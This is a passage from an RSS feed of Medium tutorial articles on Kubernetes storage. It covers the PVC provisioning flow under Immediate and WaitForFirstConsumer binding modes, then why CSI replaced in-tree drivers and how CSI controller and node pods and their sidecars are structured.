<strong>CreateVolume</strong> call, talks to the storage provider, creates the actual volume, and returns:</p><p>volume_id: “vol-xxxx” → stored in PV.spec.csi.volumeHandle accessible_topology: topology.kubernetes.io/zone: us-east-1b → stamped onto PV.spec.nodeAffinity</p><p>The <strong>external-provisioner </strong>uses this response to create the <strong>PV object.</strong> Critically, it stamps the <strong>accessible_topology</strong> from the response onto the <strong>PV</strong> as <strong>nodeAffinity</strong> this is what later forces the scheduler to only place pods using this PV onto nodes in us-east-1b.</p><p>The PVC controller, which is also watching for new PV objects, sees the newly created PV, matches it to the pending PVC, and binds them. Both transition to Bound.</p><p>This is the core problem with <strong>volumeBindingMode: Immediate</strong> the volume picks its AZ before any pod is scheduled. The pod must then fit around the volume&#39;s AZ choice. If the scheduler can&#39;t find a suitable node in that AZ because of resource constraints, taints, or affinity rules the pod stays Pending forever. This is exactly the problem <strong>WaitForFirstConsumer</strong> was designed to solve. Let&#39;s look at that next.</p><h4>8.3 Dynamic Provisioning(volumeBindingMode: WaitForFirstConsumer)</h4><p>When volumeBindingMode: WaitForFirstConsumer, the flow starts the same way PVC controller sets the <strong>volume.beta.kubernetes.io/storage-provisioner </strong>annotation and both the PVC controller and <strong>external-provisioner</strong> watch the PVC. But when external-provisioner reads the StorageClass and sees <strong>volumeBindingMode: WaitForFirstConsumer</strong>, it does <strong>literally nothing</strong>. It waits.</p><p>Now a <strong>pod</strong> is created that <strong>references</strong> this <strong>PVC</strong>. The scheduler kicks in. Most people know the scheduler finds a node matching the pod’s requirements , CPU, memory, taints, affinity rules. What fewer people know is that the scheduler also has a built-in <strong>volume binding plugin</strong> that handles <strong>storage-related scheduling decisions</strong>.</p><p>When this plugin sees the pod has an <strong>unbound PVC </strong>with volumeBindingMode: WaitForFirstConsumer, it does something important it sets a second annotation on the PVC:</p><pre>volume.kubernetes.io/selected-node: node-1</pre><p>But and this is critical the scheduler does NOT set <strong>pod.spec.nodeName</strong> yet. It <strong>deliberately</strong> holds back. It first updates the PVC with the <strong>selected-node annotation</strong> and waits for the <em>PVC to become Bound before committing the pod to any node</em>. If it assigned the pod to a node first, kubelet would immediately try to mount a volume that doesn&#39;t exist yet.</p><p><em>The external-provisioner sees the PVC update. It runs its checks again:</em></p><ol><li>annotation volume.beta.kubernetes.io/storage-provisioner set?</li><li>annotation value == my — provisioner flag?</li><li>volumeBindingMode == WaitForFirstConsumer?</li><li>selected-node annotation present?</li></ol><p>ALL pass → proceed</p><p>Now it builds the topology for the <strong>CreateVolume</strong> request. It reads the selected-node annotation value = node-1 then fetches the <strong>CSINode object</strong> for that node to find which<strong> topology keys</strong> the driver cares about. It then reads the Node object labels for those keys to get the actual zone value for example topology.kubernetes.io/zone: us-east-1a.</p><p>This zone becomes <strong>preferred</strong>[0] in the <strong>accessbility_requirements</strong> passed to <strong>CreateVolume</strong>. The remaining zones are still included in both <strong>preferred</strong> and <strong>requisite</strong> giving the driver flexibility if <strong>us-east-1a</strong> has <strong>no available capacity</strong> but the driver is strongly expected to honor <strong>preferred[0] first</strong>.</p><p>The controller component creates the volume in us-east-1a, returns the <strong>accessible_topology</strong>, and <strong>external-provisioner</strong> creates the PV with <strong>nodeAffinity: topology.kubernetes.io/zone: us-east-1a</strong> <strong>, and PVC controller binds the PVC to the PV.</strong></p><p><strong>Now and only now the scheduler</strong> sets <strong>pod.spec.nodeName: node-1</strong>. The pod is assigned to the node. The volume was provisioned in the same AZ. Everything aligns.</p><p>If <strong>CreateVolume</strong> fails at any point, <strong>external-provisioner</strong> removes the <strong>selected-node annotation</strong> from the <strong>PVC</strong> and the entire process starts over on the next scheduling cycle making the flow resilient to transient failures.</p><h3>9. Conclusion:</h3><p>So, We started this article with a simple question? what happens when you create a PVC(kubectl apply -f some-pvc.yaml) Now we have a complete answer.</p><p>The <strong>PersistentVolume</strong> <strong>Controller</strong> and <strong>external-provisioner</strong> work together through a annoation-based to avoid a race condition. Static Provisioning binds a existing PV directly. Dynamic Provisioning creates a new volume in storage backend(eg: aws, azure, etc). either immediately or picking an AZ before any pod is scheduled or waiting for the scheduler to pick a node first so the volume lands in exactly the same AZ.</p><p>But PVC is bound to PV now, that is only the half of the story. The volume exists somewherre in the cloud or locally. Your pod’s still cannot use it. It need to be attached to the right node, formmated, staged and mounted into your container.</p><p>That is exactly what <a href="https://medium.com/@shilu4577/how-does-volume-reaches-your-container-2bac04d94d3e"><strong>Part 3</strong></a><strong> </strong>covers, full journey from Bound PVC to running container with storage as its mountPAth. We will go deep into VolumeAttachment, ControllerPublishVolume. NodeStageVolume, NodePublishVolume and AttachDetach Controller and see exactly why each steps exists.</p><p>See you in <a href="https://medium.com/@shilu4577/how-does-volume-reaches-your-container-2bac04d94d3e"><strong>Part 3</strong></a></p><p>Part 1 — <a href="https://medium.com/@shilu4577/managing-storage-in-kubernetes-a-deep-dive-into-csi-drivers-dd4592cc4bb2">Managing Storage in Kubernetes: A Deep Dive into CSI Drivers</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ca87267fd4f7" width="1" height="1" alt=""><hr><p><a href="https://aws.plainenglish.io/what-actually-happens-when-you-create-a-pvc-ca87267fd4f7">You Created a PVC…. But What Actually Happens Next in Kubernetes?</a> was originally published in <a href="https://aws.plainenglish.io/">AWS in Plain English</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Kubernetes Storage Always Confused Me — Until I Understood CSI Drivers]]></title>
            <link>https://aws.plainenglish.io/managing-storage-in-kubernetes-a-deep-dive-into-csi-drivers-dd4592cc4bb2?source=rss-2b418f0e0f5d------2</link>
            <guid isPermaLink="false">https://medium.com/p/dd4592cc4bb2</guid>
            <category><![CDATA[cloud-computing]]></category>
            <category><![CDATA[devops]]></category>
            <category><![CDATA[kubernetes]]></category>
            <category><![CDATA[golang]]></category>
            <category><![CDATA[aws]]></category>
            <dc:creator><![CDATA[Shilu]]></dc:creator>
            <pubDate>Sat, 07 Mar 2026 07:50:57 GMT</pubDate>
            <atom:updated>2026-03-18T02:42:13.362Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/250/1*rpWeeneAYFD8mqz7MdySYA.png" /></figure><p>If you’ve ever created a PersistentVolumeClaim in Kubernetes and just <em>trusted it would work</em>, you’re not alone.</p><p>But under the hood, there’s a surprisingly complex system making storage actually happen and that’s where CSI comes in.</p><p>Once you understand this, Kubernetes storage stops feeling like magic.</p><h3>Why this matters</h3><p>In real systems, storage is not optional — it’s critical.</p><p><strong>If Kubernetes didn’t have a standard like CSI:</strong></p><ul><li>“Every cloud provider would require custom integrations”</li><li>“Storage bugs would be harder to debug”</li><li>“Upgrading Kubernetes could break your storage”</li></ul><blockquote><em>CSI is what makes storage pluggable, stable, and production-ready.</em></blockquote><h3>CSI Driver Series — Part 1/5: Why Kubernetes Needed CSI</h3><p>You may have heard people talking about CSI, CSI drivers, and wondered — what exactly is it? How does it work under the hood? That’s exactly what this 5-part series is about.</p><p>By the end of this series you will have gone from understanding why CSI exists, to building a fully working CSI driver from scratch in Go.</p><p>Here’s what we’re covering:</p><ul><li><strong>Part 1</strong> — Why Kubernetes Needed CSI</li><li><strong>Part 2 </strong>— <a href="https://medium.com/@shilu4577/what-actually-happens-when-you-create-a-pvc-ca87267fd4f7">What Happens When You Create a PVC?</a></li><li><strong>Part 3</strong> —<a href="https://medium.com/@shilu4577/how-does-volume-reaches-your-container-2bac04d94d3e"> How a volume reach your container?</a></li><li><strong>Part 4</strong> — <a href="https://medium.com/@shilu4577/building-a-csi-driver-from-scratch-in-go-controller-side-51ce2cce7344">Building a CSI Driver from Scratch in Go (Controller Side)</a></li><li><strong>Part 5</strong> — Building a CSI Driver from Scratch in Go (Node Side)</li></ul><h3>A bit of history — Kubernetes before CSI</h3><p>To understand why CSI exists, you need to understand the problem it was solving.</p><p>In the early days of Kubernetes, there was no CSI. In fact, the interfaces we take for granted today — CSI for storage, CNI for networking, CRI for container runtimes — weren’t standardized or stable. All of the code for interacting with storage backends, network providers, and container runtimes was deeply integrated into the Kubernetes source code itself. This is what is known as <strong>in-tree implementation</strong>.</p><p>Want to use an AWS EBS volume? The EBS driver code lived inside Kubernetes. GCE Persistent Disk? Also inside Kubernetes. Ceph, NFS, Azure Disk — all of it sitting inside the same codebase.</p><p>This created two serious problems.</p><p><strong>Problem 1 — Release coupling.</strong> If you were a storage vendor and you wanted to update your driver — fix a bug, add a feature, improve performance — your changes had to go through the Kubernetes release process. You’d submit a PR to the Kubernetes repository, wait for review, wait for the next Kubernetes release cycle, and only then would your users get the update. Your storage driver’s release schedule was completely tied to Kubernetes’ release schedule. For vendors shipping fast-moving storage products, this was a significant bottleneck.</p><p><strong>Problem 2 — Security.</strong> In-tree storage drivers ran with the same privileges as the kubelet and kube-controller-manager — the most trusted components in the entire cluster. A vulnerability in, say, the Ceph volume driver could compromise the entire node. Every storage driver, regardless of how niche or experimental, had the same blast radius as Kubernetes core itself. The Kubernetes team also had to carefully review every line of third-party storage driver code that entered the repository to make sure no vulnerabilities were introduced — a significant maintenance burden as the number of supported storage backends grew.</p><h3>The solution — out-of-tree plugins</h3><p>Kubernetes addressed this by introducing standardized interfaces: <strong>CSI</strong> for storage, <strong>CNI</strong> for networking, and <strong>CRI</strong> for container runtimes. Together these enable what is known as an <strong>out-of-tree</strong> or <strong>plugin-based</strong> implementation.</p><p>The idea is straightforward: instead of storage driver code living inside Kubernetes, the driver lives in its own separate repository, maintained by its own team, released on its own schedule. Kubernetes interacts with it through a well-defined standard interface.</p><p>It’s worth being precise about where these specifications come from, because this is a common point of confusion:</p><ul><li><strong>CSI</strong> (Container Storage Interface) — defined by the Kubernetes SIG Storage community, in collaboration with storage vendors. The spec lives at github.com/container-storage-interface/spec.</li><li><strong>CNI</strong> (Container Network Interface) — defined under the CNCF umbrella. The spec lives at github.com/containernetworking/cni.</li><li><strong>CRI</strong> (Container Runtime Interface) — defined by Kubernetes SIG Node. The spec lives in kubernetes/cri-api.</li></ul><p>These are separate from <strong>OCI</strong> (Open Container Initiative), which is a related but distinct standard. OCI defines the container image format and the low-level runtime interface (what tools like runc implement). OCI is about containers themselves — CSI, CNI, and CRI sit above OCI and are about how Kubernetes talks to storage, networking, and runtime providers.</p><p><strong>Each specification answers the same set of questions for its domain:</strong></p><ul><li>What is the architecture of the plugin — how should it be structured and deployed?</li><li>How should it be exposed — what transport and protocol?</li><li>What operations must it support — what are the request and response schemas?</li><li>Which Kubernetes component is responsible for calling it, and when?</li></ul><p>It is also worth noting that CSI, CNI, and CRI are not Kubernetes-exclusive. Because they are open specifications, any container orchestration platform can implement them. A CNI plugin that works with Kubernetes can also work with other container platforms that implement the CNI spec. For example Mesos, CloudFoundry and Nomad.</p><h3>How they differ under the hood</h3><p>One thing that surprises people is that CSI, CNI, and CRI are actually exposed quite differently:</p><p>CSI → long-running gRPC server exposed via Unix Domain Socket kubelet and sidecar containers call it</p><p>CNI → NOT a long-running process a binary executed per-pod invocation called via stdin/stdout by the container runtime</p><p>CRI → long-running gRPC server exposed via Unix Domain Socket kubelet calls it directly</p><p>CNI in particular surprises people — it is not a server you connect to. It is a binary that gets executed every time a pod is created or deleted, with parameters passed via stdin and results returned via stdout. This is very different from CSI’s gRPC model.</p><p>Since this series is focused on CSI, we will not go deep on CNI or CRI — but it is worth knowing they are architecturally different from CSI even though they serve the same philosophical purpose.</p><h3>What CSI actually standardizes</h3><p>With CSI in place, a storage vendor like AWS, GCP, Azure, or Ceph writes their driver following the CSI specification. Kubernetes talks to every one of those drivers/plugins in exactly the same way — the same calls, the same protocol and they expected same behavior.</p><p>In Tree Implementation:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/352/1*SI9m3950rF0Egut_SZXmWQ.png" /></figure><p>All driver code lives inside kubernetes source code.</p><p>Out of Tree Implementation:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/456/1*iU-4_T1RPtD4BdUdk1IY0g.png" /></figure><p>Each Driver lives in its own driver repository.</p><p>The drivers are now:</p><ul><li><strong>Independently released</strong> — a bug fix in the EBS driver ships the day it is ready, not on Kubernetes’ release schedule.</li><li><strong>Independently secured</strong> — a vulnerability in the Ceph driver is contained to the Ceph driver pod, not the entire node.</li><li><strong>Independently maintained</strong> — AWS owns the EBS driver, Google owns the GCE driver, the Kubernetes team owns none of them.</li></ul><h3>Anatomy of a CSI Driver: Controller and Node Components</h3><p>So, when we say CSI driver, it is not a single component — it is two different components: the <strong>controller component</strong> and the <strong>node component</strong>. Both have different jobs to do.</p><p>The ultimate goal of a CSI driver is to provide <strong>storage to a container</strong>. On a high level, the <strong>controller component’s </strong>job is to <strong>talk</strong> to the <strong>storage provider</strong> and manage the lifecycle of volumes in the storage backend — creating volumes, deleting volumes, attaching volumes to nodes, detaching them, snapshotting, resizing. It controls everything that happens at the storage provider level.</p><p>The <strong>node component’s</strong> job is different — it <strong>manages volumes</strong> at the <strong>Kubernetes cluster level</strong>. Once a volume is created and attached to a node by the controller, the node component takes over. It first mounts the volume onto the node itself, then bind-mounts it into the specific pod that requested it. These are two separate steps, and we will go deep on exactly why in Part 2.</p><p>The deployment model reflects these different responsibilities. The controller component runs as a <strong>Deployment</strong> — it runs as pod(or a few replicas for high availability) because it just makes API calls to the cloud. The node component runs as a <strong>DaemonSet</strong> — it must run on every single node in the cluster, because mount operations are physical OS-level operations that can only be performed on the node where the pod is scheduled.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/633/1*yKvST4Yg3W4co0baVf_eFA.png" /></figure><p><em>Each of these pods is not a single container. They are a collection of containers working together. Let’s look inside each one.</em></p><h3>Controller Pod contains:</h3><ol><li><strong>Your CSI driver container:</strong></li></ol><ul><li>Which contains the logic that talks to storage provider (eg: aws-ebs-csi-driver)</li><li>Implements the gRPC server.</li><li>exposes a Unix Domain Socket at /csi/csi.sock</li></ul><p>2. <strong>external-provisioner sidecar:</strong></p><ul><li>provided by Kubernetes SIG Storage</li><li>watches PVCs, calls CreateVolume on your driver</li></ul><p>3. <strong>external-attacher sidecar:</strong></p><ul><li>watches VolumeAttachment objects</li><li>calls ControllerPublishVolume on your driver</li></ul><p>4. <strong>external-snapshotter sidecar: (optional)</strong></p><ul><li>watches VolumeSnapshotContent objects</li><li>calls CreateSnapshot on your driver</li></ul><p>5. <strong>livenessprobe sidecar:</strong></p><ul><li>health checks your driver</li></ul><p>6. <strong>external-resizer sidecar: (optional)</strong></p><ul><li>watches PersistentVolumeClaim objects</li><li>calls ControllerExpandVolume on your driver</li></ul><h3><strong>Node Pod contains:</strong></h3><ol><li><strong>Your CSI driver container:</strong></li></ol><ul><li>same binary, different mode</li><li>exposes Node service RPCs</li></ul><p>2. <strong>node-driver-registrar sidecar:</strong></p><ul><li>registers your driver with kubelet</li><li>tells kubelet “I handle this socket path”</li></ul><p>3. <strong>livenessprobe sidecar:</strong></p><ul><li>health checks your driver</li></ul><p><em>All containers inside the same pod share the Unix Domain Socket through a shared emptyDir volume mounted at /csi in every container. The CSI driver creates the socket at /csi/csi.sock, and every sidecar connects to that same socket to make gRPC calls. They never communicate over the network — everything is local within the pod.</em></p><h3>Conclusion:</h3><p>Now you know what a CSI driver looks like structurally, <em>two components, deployed as a Deployment and a DaemonSet</em>, each pod packed with sidecars all sharing a Unix Domain Socket to talk to the driver. But we haven’t answered the most important question yet: what exactly do they say to each other?</p><p>In <a href="https://medium.com/@shilu4577/what-actually-happens-when-you-create-a-pvc-ca87267fd4f7"><strong>Part 2</strong></a> we go inside the provisioning flow, the annotation-based handoff between the PVC controller and external-provisioner, static vs dynamic provisioning, Immediate vs WaitForFirstConsumer binding modes, and the full journey from a PersistentVolumeClaim to a Bound PersistentVolume.</p><p>See you in <a href="https://medium.com/@shilu4577/what-actually-happens-when-you-create-a-pvc-ca87267fd4f7"><strong>Part 2</strong></a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=dd4592cc4bb2" width="1" height="1" alt=""><hr><p><a href="https://aws.plainenglish.io/managing-storage-in-kubernetes-a-deep-dive-into-csi-drivers-dd4592cc4bb2">Kubernetes Storage Always Confused Me — Until I Understood CSI Drivers</a> was originally published in <a href="https://aws.plainenglish.io/">AWS in Plain English</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
    </channel>
</rss>